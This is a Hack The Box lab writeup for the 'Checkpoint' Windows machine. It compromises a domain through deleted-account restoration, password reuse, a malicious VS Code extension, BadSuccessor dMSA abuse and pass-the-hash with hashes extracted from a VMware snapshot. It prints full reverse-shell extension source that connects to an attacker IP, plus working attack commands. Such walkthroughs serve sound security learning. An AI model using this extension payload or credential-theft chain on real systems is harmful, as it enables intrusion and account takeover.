HTB: Checkpoint Writeup
Checkpoint is a Windows machine that explores several interesting aspects of Active Directory security. What begins with a simple set of domain credentials quickly turns into a multi-stage adventure involving deleted AD objects, password reuse, a malicious VS Code extension, dMSA abuse through BadSuccessor and VMware memory forensics.
Each compromised account opens another door, eventually leading us to Domain Administrator. Along the way, we’ll explore some fascinating Active Directory weaknesses, uncover forgotten credentials and discover that sometimes the best place to hide a password is inside a virtual machine snapshot.😅
Let’s check in to Checkpoint and see how far a little enumeration can take us!
About Checkpoint
- OS: Windows
- Difficulty: Medium
- Release Date: 13 Jun, 2026
Initial Access and Workspace Preparation
The assessment begins with the credentials provided by the machine:
- Username:
alex.turner - Password:
Checkpoint2024!
Before interacting with the target, I prepared a dedicated working directory to keep scan results, enumeration files, scripts and other artifacts organized:
mkdir Checkpoint && cd Checkpoint I then verfied connectivity to the target:
ping -c 3 10.129.146.77Network Enumeration with Nmap
I started a TCP scan using Nmap:
sudo nmap -sCV --reason -oN checkpoint.nmap 10.129.146.77The scan identified the following open ports:
- Port 53 (DNS) — Domain Name Resolution
- Port 88 (Kerberos) — Active Directory Authentication
- Port 135 (MSRPC) — Microsoft RPC endpoint mapper
- Port 139 (NetBIOS-SSN) — NetBIOS session service
- Port 389 (LDAP) — Active Directory Services
- Port 445 (SMB) — Server Message Block
- Port 464 (Kpasswd) — Kerberos password change service
- Port 593 (RPC over HTTP) — RPC over HTTP transport
- Port 636 (LDAPS) — LDAP over SSL/TLS
- Port 3268 (Global Catalog LDAP) — Active Directory Global Catalog
- Port 3269 (Global Catalog LDAPS) — Secure Global Catalog
- Port 5985 (WinRM) — Windows Remote Management over HTTP
The combination of Kerberos, LDAP, SMB, DNS and Global Catalog services strongly suggested that this was an Active Directory Domain Controller.
Several additional details were worth noting:
- SMB signing was required
- SMBv1 was disabled
- The host identified itself as
DC01 - The domain was
checkpoint.htb - A clock skew
The clock discrepancy was particularly important because Kerberos is time-sensitive. Significant differences between the client and the domain controller clocks can cause authentication failures.
At this point, I had enough information to begin Active Directory enumeration.
Host Management and Domain Resolution
To make hostname resolution easier, I used NetExec to generate a hosts file from the target:
nxc smb 10.129.146.77 --generate-hosts-file checkpoint_hostsThe generated file contained the following entry:
10.129.146.77 DC01.checkpoint.htb checkpoint.htb DC01 I appended it to /etc/hosts:
cat checkpoint_hosts | sudo tee -a /etc/hostsThis allowed me to interact with the domain controller using its hostname and fully qualified domain name rather than relying exclusively on its IP address.
Hostname resolution is particularly useful when working with Kerberos and Active Directory tools, where the domain controller’s FQDN can be important for service principal names and authentication.
Active Directory Enumeration with NetExec
With the host configuration in place, I began testing the supplied credentials against exposed services.
I upgraded my NetExec version with (Required for this particular machine!):
sudo apt update && sudo apt install --only-upgrade netexecAuthentication Testing
I first tested SMB:
nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'- The authentication succeeded.
Next, I tested LDAP:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'- LDAP authentication also succeeded.
Finally, I checked WinRM:
nxc winrm DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'- Unlike SMB and LDAP, WinRM authentication failed
Note: Successful authentication against one service does not automatically grant access to another. Each service has its own authentication and authorization requirements.
Enumerating Domain Users
I used NetExec to enumerate domain users:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users- The initial enumeration identified 17 users.
I also exported the results for later comparison:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users-exportMaintaining enumeration results is useful when investigating changes in the environment. It also makes it easier to compare accounts discovered at different stages of an assessment.
Kerbersoasting, AS-REP Roasting and gMSA Enumeration
Next, I checked for accounts with Service Principal Names that might be vulnerable to Kerberoasting:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --kerberoast kerberoast- The command returned no Kerberoastable account records. The disabled
krbtgtaccount was skipped.
I then checked for accounts that did not require Kerberos pre-authentication:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --asreproast asreproast- No AS-REP roastable entries were returned.
Finally, I checked for Group Managed Service Accounts:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --gmsa - The output indicated that NetExec was attempting to retrieve gMSA passwords, but did not establish that any password had actually been recovered.
These checks did not immediately provide another credential, but they helped establish which common Active Directory attack paths were not producing results at this stage.
SMB Share Enumeration
SMB was one of the most interesting services exposed by the target. I started enumerating the available shares:
nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares- Among the shares DevDrop share immediately stood out with READ permissions and the comment
VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0which indicated that it was intended for approaved VS Code extension packages compatible with VS Code engine version1.118.0 - I also noticed the VMBackups share, which would become important later.
Enumerating Shares with smbclient
To investigate the available shares further, I used smbclient:
smbclient -L //checkpoint.htb -U alex.turner%Checkpoint2024!- This returned the available SMB shares.
I then attempted to access DevDrop:
smbclient //checkpoint.htb/DevDrop -U alex.turner%Checkpoint2024! -c 'ls'- The directory was empty at the time of enumeration.
I also attempted to access VMBackups:
smbclient //checkpoint.htb/VMBackups -U alex.turner%Checkpoint2024! -c 'ls'- Listing its contents returned an error.
- The share was visible, but the current account did not have permission to enumerate its contents. Discovering a share does not mean having access to it.
Active Directory Enumeration with RustHound-CE
With the initial enumeration complete, I moved to BloodHound-based analysis to identify relationships and delegated permissions that might expose an attack path.
For data collection, I used RustHound-CE.
We need an updated version of RustHound-CE, if you get some errors updating execute the command:
LIBGSSAPI_IMPL=mit cargo install rusthound-ceInitial LDAP Collection Attempt
My first attempt used the supplied domain credentials:
rusthound-ce -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -z - The connection failed with an LDAP authentication error
- The server indicated that integrity checking was required when binding without SSL/TLS.
- This was not a credential failure. It was an LDAP security requirement.
I then attempted Kerberos authentication:
rusthound-ce -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -z -k- This attempt also failed. RustHound-CE indicated that Kerberos required the domain controller’s FQDN to be configured through
options.ldapfqdn.
Synchronizing the System Clock
Earlier Nmap enumeration had identified a significant clock difference between the attack machine and the domain controller.
I corrected the local clock using:
sudo ntpdate 10.129.146.77 - The Kerberos authentication is sensitive to time differences, so synchronizing the clock is an important troubleshooting step.
- However, clock synchronization alone did not resolve the RustHound-CE configuration issues.
Generating Kerberos Configuration
I used NetExec to generate a Kerberos configuration file:
nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --generate-krb5-file checkpoint_krb5.conf- The generated configuration contained the
CHECKPOINT.HTBrealm and identifieddc01.checkpoint.htbas the KDC and administrative server.
I exported the configuration:
export KRB5_CONFIG=checkpoint_krb5.conf- This prepared the Kerberos client environment, but the collection still required a valid Kerberos ticket and the correct LDAP configuration.
Obtaining a Kerberos Ticket
I installed the Kerberos client utilities:
sudo apt install krb5-user -yThen I requested a Kerberos ticket for Alex Turner:
kinit alex.turnerAfter entering the password, I retried RustHound-CE, explicitly providing the domain controller’s FQDN:
rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -k- This time, LDAP connectivity and directory collection succeeded.
- A BloodHound archive was generated.
- There was, however, a warning concerning GPO and SYSVOL collection:
SYSVOL collection failed: — kerberos set but KRB5CCNAME is not defined - The warning did not invalidate the LDAP results, but it did indicate that some data was unavailable.
Analyzing Active Directory with BloodHound
After collecting the directory data, I started my BloodHound Docker update:
sudo docker compose pullI then started BloodHound:
sudo docker-compose up -dI imported the RustHound-CE zip archive into BloodHound.
Identifying the Initial User
I searched for alex.turner
After locating the account, I marked it as owned.
Its group memberships included:
VPN-USERSIT-STAFFDOMAIN USERS
The next step was to examine its Outbound Object Control relationships.
Discovering Control Over a Deleted Account
BloodHound revealed that alex.turner had GenericWrite over the deleted user account mark.davies.
- This was an interesting finding because deleted objects are not necessarily irrelevant to an Active Directory assessment.
- The relationship suggested that the deleted account and the permissions associated with it deserved further investigation.
I also used BloodHound’s built-in Map OU Structure query, which revealed an OU named DMSAHOLDER
I made a note of this OU for later investigation.
At this stage, there were two interesting leads:
- The deleted
mark.daviesaccount. - The
DMSAHOLDEROU
The next step was to validate the permissions identified by BloodHound.
Validating Permissions with BloodyAD
I used BloodyAD to enumerate objects writable by the initial account:
bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable- The most relevant finding was the
WRITEaccess associated with theDeleted Objectscontainer and the deleted Mark Davies object.
Examining Alex Turner’s Group Memberships
I also checked the account’s group memberships:
bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get membership alex.turnerThe account belonged to:
Builtin UsersDomain UsersIT-StaffVPN-Users
The results were consistent with BloodHound’s group membership information.
The combination of the deleted-object permissions and the discovered account made Mark Davies the next logical target.
Restoring the Deleted Mark Davies Account
The next step was to determine whether the deleted account could be restored.
I started by enumerating the users again:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --usersI then used BloodyAD to restore the account:
bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore mark.davies- The operation succeeded.
- This moved the account out of the Deleted Objects container and restored it under the Employees OU.
Confirmation of the Restored Account
I enumerated the users again and exported the results:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users-export checkpoint_recovered_user.txt- The new export contained 18 users, including
mark.davies.
To identify the difference between the original and recovered lists, I used:
diff checkpoint_initial_users.txt checkpoint_recovered_user.txtThe output confirmed that Mark Davies had been added to the recovered user list.
An Alternative Restoration Method with NetExec
NetExec also provides a tombstone module for working with deleted Active Directory objects.
I first queried the deleted objects:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M tombstone -o ACTION=query- The output identified Mark Davies provided the deleted objects’s GUID:
2217e877-e2a2–47d7–91d4–99ede36f367e
I then restored it using the GUID:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M tombstone -o ACTION=restore ID=2217e877-e2a2-47d7-91d4-99ede36f367e- The module reported a successful restoration.
NOTE: I had to spawn a new instance of the Checkpoint machine hence the different IP address
10.129.16.90to showcase restoration of the user using NetExec
Interestingly, the Last Password Set timestamps for Alex Turner and Mark Davies were very close:
alex.turner 2026-05-09 10:00:08 0
mark.davies 2026-05-09 10:00:48 0- The timestamps were only 40 seconds apart. This was an interesting clue, although was not sufficient by itself to establish password reuse.
- The next step was to test this hypothesis directly.
Authenticating as Mark Davies
I tested the initially supplied password against the restored account.
SMB Authentication
nxc smb DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'- Authentication succeeded
LDAP Authentication
nxc ldap DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'- LDAP authentication also succeeded.
WinRM Authentication
nxc winrm DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'- WinRM authentication failed.
- The results confirmed that the restored account reused the supplied password, but its access was still limited by service-specific authorization.
Updating BloodHound
Before restoration, mark.davies user in BloodHound showed a DELETED OBJECTS container:
Because the Active Directory environment had changed, I collected the directory data again:
rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -kI imported the new archive into BloodHound.
The Mark Davies object now appeared under EMPLOYEES OU rather than the Deleted Objects Container:
I also checked the account’s group memberships:
bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u mark.davies -p 'Checkpoint2024!' get membership mark.daviesThe account belonged to:
Builtin UsersDomain Users
BloodHound showed the same general membership information.
At first glance, all these did not appear particularly interesting. However, the SMB share permissions told a different story.
Discovering Write Access to DevDrop
I enumerated the SMB shares using Mark Davies’ credentials:
nxc smb DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares- This time the DevDrop share showed:
DevDrop READ,WRITE - This was different from the initial account, which had read-only access.
- The share was described as a repository for approved VS Code extension packages compatible with VS Code engine version
1.118.0. - This suggested a possible path to code execution if the environment automatically installed or loaded extensions from that location.
Before attempting anything against the target, I decided to build and test an extension locally.
Developing a VS Code Extension
The objective was to create a VS Code extension package that could establish a reverse shell when activated.
I first prepared the development environment on my Kali machine.
Installing Node.js with NVM
I installed Node Version Manager:
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.41.0/install.sh | bashAfter opening a new terminal, I installed Node.js:
nvm install 26I verified the installation:
node -v
npm -v
npx -vInstalling Visual Studio Code
I downloaded the Linux Debian package:
wget "https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64"Then I installed it:
sudo apt install ./code_1.145.0-1793749366_amd64.debGenerating the Extension Project
I used the official VS Code extension generator to scaffold a project:
npx --package yo --package generator-code -- yo code- The generator created the initial extension structure, including
package.jsonandsrc/extension.ts. - The
package.jsonfile contained the extension’s metadata and VS Code compatibility information.
The original configuration included:
"engines": {
"vscode": "^1.145.0"
},
"activationEvents": [],
"devDependencies": {
"@types/vscode": "^1.145.0",
}The target share specified compatibility with VS Code engine version 1.118.0, so I adjusted the relevant version declarations:
"engines": {
"vscode": "^1.118.0"
},
"activationEvents": ["onStartupFinished"],
"devDependencies": {
"@types/vscode": "^1.118.0",
},- The
onStartupFinishedactivation event allows an extension to activate after VS Code has completed its startup process. - The caret (
^) in the version declaration defines a compatible version range rather than an exact version pin. There,^1.118.0is not strictly limited to version1.118.0.
Preparing the Extension
The modified extension implementation used Node.js’s child_process module to launch a shell and the net module to establish a TCP connection to the attack machine.
// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';
// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(9001, "10.10.14.162", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
}
// This method is called when your extension is deactivated
export function deactivate() {}I also installed the VS Code Extension Manager:
npm install -g @vscode/vsceI attempted to package the extension:
vsce packageThe first attempt failed because the generated README still contained template content.
Get Natius’s stories in your inbox
Join Medium for free to get updates from this writer.
I replaced it with a simple project description:
## Features
Spawns a shellAfter updating the README, I ran the packaging command again:
vsce packageThe package was generated successfully nato-0.0.1.vsix
The packaging process reported warnings about missing repository and license metadata, but these did not prevent package generation.
Testing the Extension Locally
Before interacting with the target, I installed the extension locally:
code --install-extension nato-0.0.1.vsixI started a listener:
nc -lnvp 9001Then I launched VS Code.
The listener received a connection: connect to [10.10.14.162] from (UNKNOWN) [10.10.14.162] 50882
- This confirmed that the extension’s connection logic worked locally.
- However, the source and destination addresses were both the attack machine’s address. This was a local validation, not evidence of remote code execution on the target.
- There was also an important compatibility consideration: the original implementation launched
sh, which is not a suitable shell for a native Windows environment. - I therefore needed to adapt the implementation before deploying it to the Windows target.
Obtaining a Shell as Ryan Brooks
After validating the extension locally, I modified the implementation to launch PowerShell instead of a Unix shell.
The updated extension.ts contained:
// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';
// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("powershell.exe", []);
var client = new net.Socket();
client.connect(9001, "10.10.14.162", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
}
// This method is called when your extension is deactivated
export function deactivate() {}I then repackaged the extension:
vsce packageStarting the Listener
I prepared a listener with rlwrap to improve interactive shell usability:
rlwrap -cAr nc -lvnp 9001Uploading the Extension to DevDrop
Before uploading the package, I confirmed that the share was empty:
smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'ls'I then uploaded the extension:
smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'put nato-0.0.1.vsix nato-0.0.1.vsix'To confirm that the upload succeeded, I listed the share again:
smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'ls'Receiving the Reverse Shell
After a short wait, the listener received a connection from the target.
I checked the current identity using whoami and the result was checkpoint\ryan.brooks
- This confirmed that the extension deployment mechanism had resulted in code execution under the Ryan Brooks account.
The difference between a local test and the target test was now clear: the local test validated the extension’s connection behavior, while the remote connection confirmed execution in the target environment.
Retrieving the User Flag
With a shell as Ryan Brooks, I navigated to the user’s Desktop and retrieved the flag:
Set-Location C:\Users\ryan.brooks\DesktopEnumerating the Environment as Ryan Brooks
Before moving further, I wanted to understand the resources accessible to the new identity.
The uploaded extension was located under the DevDrop directory under C:\shares.
- I also attempted to enumerate
VMBackupsbut this returned an access-denied error. - The backup remained inaccessible to Ryan Brooks as expected.
At this point, the next logical step was to investigate Ryan’s Active Directory permissions and identify whether they exposed another escalation path.
Investigating the BadSuccessor Attack Surface
Checkpoint was running Windows Server 2025, making it worthwhile to investigate the dMSA-related BadSuccessor attack surface.
From the Ryan Brooks shell, I inspected the operating system version:
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"This confirmed that the target was running Windows Server 2025, Build 26100
Checking for BadSuccessor Support
Back on my attack machine, I checked the available NetExec modules:
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -LThe output include a module name badsuccessor.
Note: This requires an up to date version of NetExec
I executed the module (any user can do, in this scenario):
nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessorThis provided indication that dMSA-related attack surface was relevant to the environment.
Understanding BadSuccessor
- Delegated Managed Service Accounts are designed to support managed service-account migration and succession.
- BadSuccessor is a privilege escalation technique involving weaknesses in the handling fo dMSA succession relationships. Under vulnerable conditions, an attacker with suitable delegated permissions can create and manipulate a dMSA in a way that allows it to obtain authentication material associated with a superseded account.
- The security implications depend on the permissions and configuration of the environment.
- In this assessment, the objective was to determine whether Ryan Brooks had the necessary permissions over the relevant OU and service account.
Enumerating Ryan Brooks’ Active Directory Permissions
I returned to BloodHound and examined Ryan Brooks’ account.
His group memberships included:
DEVTEAMVPN-USERSDOMAIN USERS
More importantly, BloodHound identified GenericWrite over the svc_deploy service account.
I also inspected the groups associated with svc_deploy and identified:
BACKUPACCESSREMOTEMANAGEMENT
This was particularly interesting because the VMBackups share had previously been inaccessible.
- This suggested that if we pawned the
svc_deployaccount we might have access to theVMBackupsshare since they are a member ofBackupAccessGroup.
Preparing Kerberos Authentication with Rubeus
Before executing the BadSuccessor operation, I prepared the necessary Kerberos authentication material.
I created a directory for the supporting executable:
mkdir www && cd wwwI downloaded Rubeus from SharpCollection:
wget "https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe"I verified the file:
file Rubeus.exeI started a temporary HTTP server from the directory:
python -m http.server On the target, I downloaded Rubeus into C:\ProgramData:
wget http://10.10.14.162:8000/Rubeus.exe -o Rubeus.exeThe file was successfully transfered.
Extracting Kerberos Ticket
On the target, I executed:
./Rubeus.exe tgtdeleg /nowrapRubeus successfully performed the delegation request and extracted Kerberos ticket material from the delegation exchange.
I copied the Base64 output into a local file and decoded it:
cat ryan.brooks.kirbi.b64 | base64 -d > ryan.brooks.kirbiThen I parsed the resulting ticket:
pypykatz kerberos kirbi parse ryan.brooks.kirbiI converted the ticket into a credential cache:
impacket-ticketConverter ryan.brooks.kirbi ryan.brooks.ccacheThen I exported the cache:
export KRB5CCNAME=ryan.brooks.ccache I then used BloodyAD to enumerate Active Directory objects and identify the permissions assigned to this account.
bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get writableThe output revealed several interesting permissions, but two entries stood out:
OU=DMSAHolder — permission: CREATE_CHILD: Ryan could create new objects within this OU. This would become particularly important when creating a Delegated Managed Service Account (dMSA).CN=svc_deploy,OU=ServiceAccounts — permission: WRITE: Ryan had write permissions over thesvc_deployservice account, making it a potential target for the dMSA succession attack.
This findings exposed an interesting privilege escalation opportunity: Ryan could create a dMSA in the DMSAHOLDER OU and modify the relationship with svc_deploy. This provided the permissions needed to investigate the BadSuccessor dMSA abuse technique.
Exploiting BadSuccessor
With the relevant permissions identified and the Kerberos authentication context preparation, I proceeded with the BadSuccessor operation using BloodyAD.
bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k add badSuccessor nato_dmsa --ou 'OU=DMSAHolder,DC=checkpoint,DC=htb' -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'add badSuccessor: invokes the BadSuccessor operation.nato_dmsa: The name of the new dMSA.— ou: The OU in which to create the dMSA.-t: The target service account involved in the succession relationship.
- The operation reported that it created
nato_dmsa$under theDMSAHolderOU and used the svc_deploy account as the superseded account. - The output also included the newly generated dMSA key.
- The previous RC4 key was particularly interesting because it was associated with the superseded account.
- Given the attack context, I treated it as a candidate NT hash for
svc_deploy. - However, a recovered key should not be considered confirmed until it has been validated against the actual account.
Pivoting to svc_deploy
I used the recovered RC4 value to test authentication as svc_deploy.
Validating the Recovered Hash
First, I tested SMB authentication:
nxc smb DC01.checkpoint.htb -u svc_deploy -H 'e16081eb077aca74bdbf8af12af43ac9'- The result confirmed successful authentication
I then tested LDAP:
nxc ldap DC01.checkpoint.htb -u svc_deploy -H 'e16081eb077aca74bdbf8af12af43ac9'- LDAP authentication also succeeded
Finally, I tested WinRM:
nxc winrm DC01.checkpoint.htb -u svc_deploy -H 'e16081eb077aca74bdbf8af12af43ac9'- WinRM authentication succeeded!
The successful authentication across these services confirmed that the recovered RC4 value was usable as the account’s NT hash
Enumerating svc_deploy Memberships
I checked the account’s group memberships:
bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get membership svc_deploy The account belonged to:
Builtin UsersRemote Management UsersDomain UsersBackupAccess
Two memberships were particularly relevant:
- Remote Management Users was consistent with the successful WinRM authentication.
- BackupAccess was a strong lead for investigating the previously inaccessible backup share.
The next step was to enumerate SMB shares using the recovered account.
Accessing the VMBackups Share
I enumerated the shares again using the svc_deploy credentials:
nxc smb DC01.checkpoint.htb -u svc_deploy -H 'e16081eb077aca74bdbf8af12af43ac9' --shares- This time, VMBackups showed read access. The previously inaccessible share was now available.
Enumerating the Backup Files
I used smbclient to recursively list the contents:
smbclient //checkpoint.htb/VMBackups -U svc_deploy --pw-nt-hash e16081eb077aca74bdbf8af12af43ac9 -c 'recurse;ls'The output revealed a backup directory which had several VMware artifacts
The vmem file was particularly interesting because it represented the virtual machine’s memory contents.
A memory image can contain sensitive runtime information, including authentication artifacts that may not be available through ordinary filesystem enumeration.
This was potentially a much more valuable source of information than the virtual disk itself.
Establishing an Interactive Shell as svc_deploy
Since WinRM authentication had succeeded, I established an interactive session using Evil-WinRM:
evil-winrm -i DC01.checkpoint.htb -u svc_deploy -H 'e16081eb077aca74bdbf8af12af43ac9'Confirmation of identity revealed checkpoint\svc_deploy
Enumerating the Share Directories
I inspected the share structure:
tree /f C:\Shares\The output confirmed the presence of:
DevDrop, containing the uploaded VS Code extension.VMBackups, containing theNightlyBackup_2024–11–01directory and VMware artifacts.
I navigated to the memory forensics directory:
The account now provided access to the backup artifacts that had been inaccessible during the earlier stages of the assessment.
Preparing VMKatz
The next objective was to analyze the VMware snapshot and identify whether it contained useful authentication material.
You can choose to download the VMware artficats and analyze them locally using a framework like Volatility (But this would take a significant amount of time).
Since downloading the snapshot would take a lot of time I decided to use vmkatz to analyze the snapshot remotely.
I donwloaded VMKatz from its Github release page:
wget "https://github.com/nikaiw/VMkatz/releases/download/v1.5.2/vmkatz-v1.5.2-windows-x86_64.zip"I extracted the archive:
7z x vmkatz-v1.5.2-windows-x86_64.zipTransferring VMKatz to the Target
I started another temporary HTTP server:
python -m http.serverFrom the Evil-WinRM session, I downloaded the executable:
wget http://10.10.14.162:8000/vmkatz.exe -o C:\ProgramData\vmkatz.exe- VMKatz was now available on the target and I could proceed with snapshot analysis.
Extracting Administrator Credentials from the VMware Snapshot
The most interesting file in the backup directory was the VMware snapshot state file: Windows Server 2019-Snapshot1.vmsn
I executed VMKatz against it from the existing Evil-WinRM session:
C:\ProgramData\vmkatz.exe "Windows Server 2019-Snapshot1.vmsn"VMKatz began analyzing the image. It reported a memory constraint. Despite the warning, processing continued.
The tool performed system discovery, process enumeration and registry hive recovery
Recovering SAM Hashes
VMKatz recovered the system boot key and extracted SAM hashes.
The most important result was the has associated with RID 500, the built-in Administrator account.
Examining LSA Secrets and Logon Sessions
VMKatz also recovered LSA secrets, including DPAPI_SYSTEM and NL$KM
It also identified three logon sessions, two of which contained credentials.
The relevant session belonged to the Administrator, which exposed the same NT hash recovered from the SAM database.
Although no plaintext password was recovered, the NT hash was sufficient to attempt Pass-the-Hash authentication.
You can also use VMKatz to analyze the vmem file:
Authenticating as Administrator
With the Administrator NT hash recovered, I returned to Kali and tested it against the live domain controller.
SMB Authentication
nxc smb DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'- The result confirmed successful authentication.
LDAP Authentication
nxc ldap DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'- LDAP authentication also succeeded.
WinRM Authentication
nxc winrm DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'- WinRM authentication succeeded as well.
- The recovered hash was now validated across SMB, LDAP and WinRM
- This provided the access required to establish an interactive administrative session.
Obtaining a Domain Administrator Shell
I connected to the domain controller using Evil-WinRM:
evil-winrm -i DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'- The connection was successful.
- I then moved to the Administrator profile and enumerated its contents. Interestingly, there was no
root.txtfile in the Administrator’s Desktop. - Having Domain Administrator access did not mean I could simply assume where the flag was stored. I continued enumerating the domain’s privileged users.
Enumerating Domain Admins
I returned to BloodHound and used the Map Domain Admins query.
The results showed that, in addition to the built-in Administrator, another user name max.palmer belonged to the Domain Admins Group
I verified this from the PowerShell session:
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName, ObjectClassRetrieving the Root Flag
I navigated to Max Palmer’s user profile:
cd C:\Users\max.palmerThen I enumerated its contents:
tree /fThis time, the output revealed root.txt on the Desktop
I navigated to the Desktop and retrieved the flag.
Conclusion
Checkpoint was a great reminder that compromising an Active Directory environment doesn’t always require a flashy exploit. Sometimes, all it takes is a forgotten account, a little password reuse and permissions that probably deserved a second look.
From restoring deleted objects and hijacking a VS Code extension to abusing dMSA succession and extracting credentials from a VMware snapshot, every stage revealed another weakness in the environment. Eventually these discoveries led us from an ordinary domain user to full Domain Administrator access.
The biggest takeaway? Never understimate the power of enumeration and never assume deleted accounts, backup files or seemingly harmless permissions are harmless. In Checkpoint, even the backups had secrets to spill!
Tools and Technologies Used
Network and Service Enumeration
- Nmap — Network Discovery, port scanning and service detection
- NetExec — SMB, LDAP and WinRM authentication testing and enumeration
- smbclient — SMB share enumeration and file operations
Active Directory Enumeration and Analysis
- RustHound-CE — Active Directory data collection for BloodHound
- BloodHound — Visualizing directory relationships and attack paths
- BloodyAD — Active Directory object and permission enumeration and manipulation
- krb5-user — Kerberos client utilities and authentication
Kerberos and Credential Analysis
- Rubeus — Kerberos ticket operations
- pypykatz — Parsing credential artifacts and Kerberos tickets
- VMKatz — VMware memory snapshot analysis
Application Development and Packaging
- Node.js — JavaScript runtime for extension development
- npm / npx — Package management and development tool execution
- Visual Studio Code — Extension development and testing
- vsce — Packaging VS Code extensions
- revshells — Reverse shell payload reference and generation
File Transfer and Remote Access
- Python — Temporary HTTP server for file transfer
- curl — Downloading resources
- wget — Downloading tools and transferring files
- Evil-WinRM — Interactive Windows remote management
- Netcat — Receiving TCP connections
- rlwrap — Improving Interactive shell usability
Supporting Utilities
- 7z — Extracting downloaded archives
- file — Identifying file formats
- diff — Comparing enumeration results
- PowerShell — Windows enumeration and administration
- Git — Retrieving tools and source code
References
Active Directory and BadSuccessor Research
- Understanding and Mitigating BadSuccessor — SpectreOps
- BadSuccessor Is Dead? Analyzing the BadSuccessor Patch — Akamai
VS Code Extension Development
- Node.js — Download and Installation
- Visual Studio Code — Download
- Visual Studio Code — Linux Installation
- Your First VS Code Extension
- Extension Activation Events
- Publishing VS Code Extensions
- Reverse Shell Generator — revshells









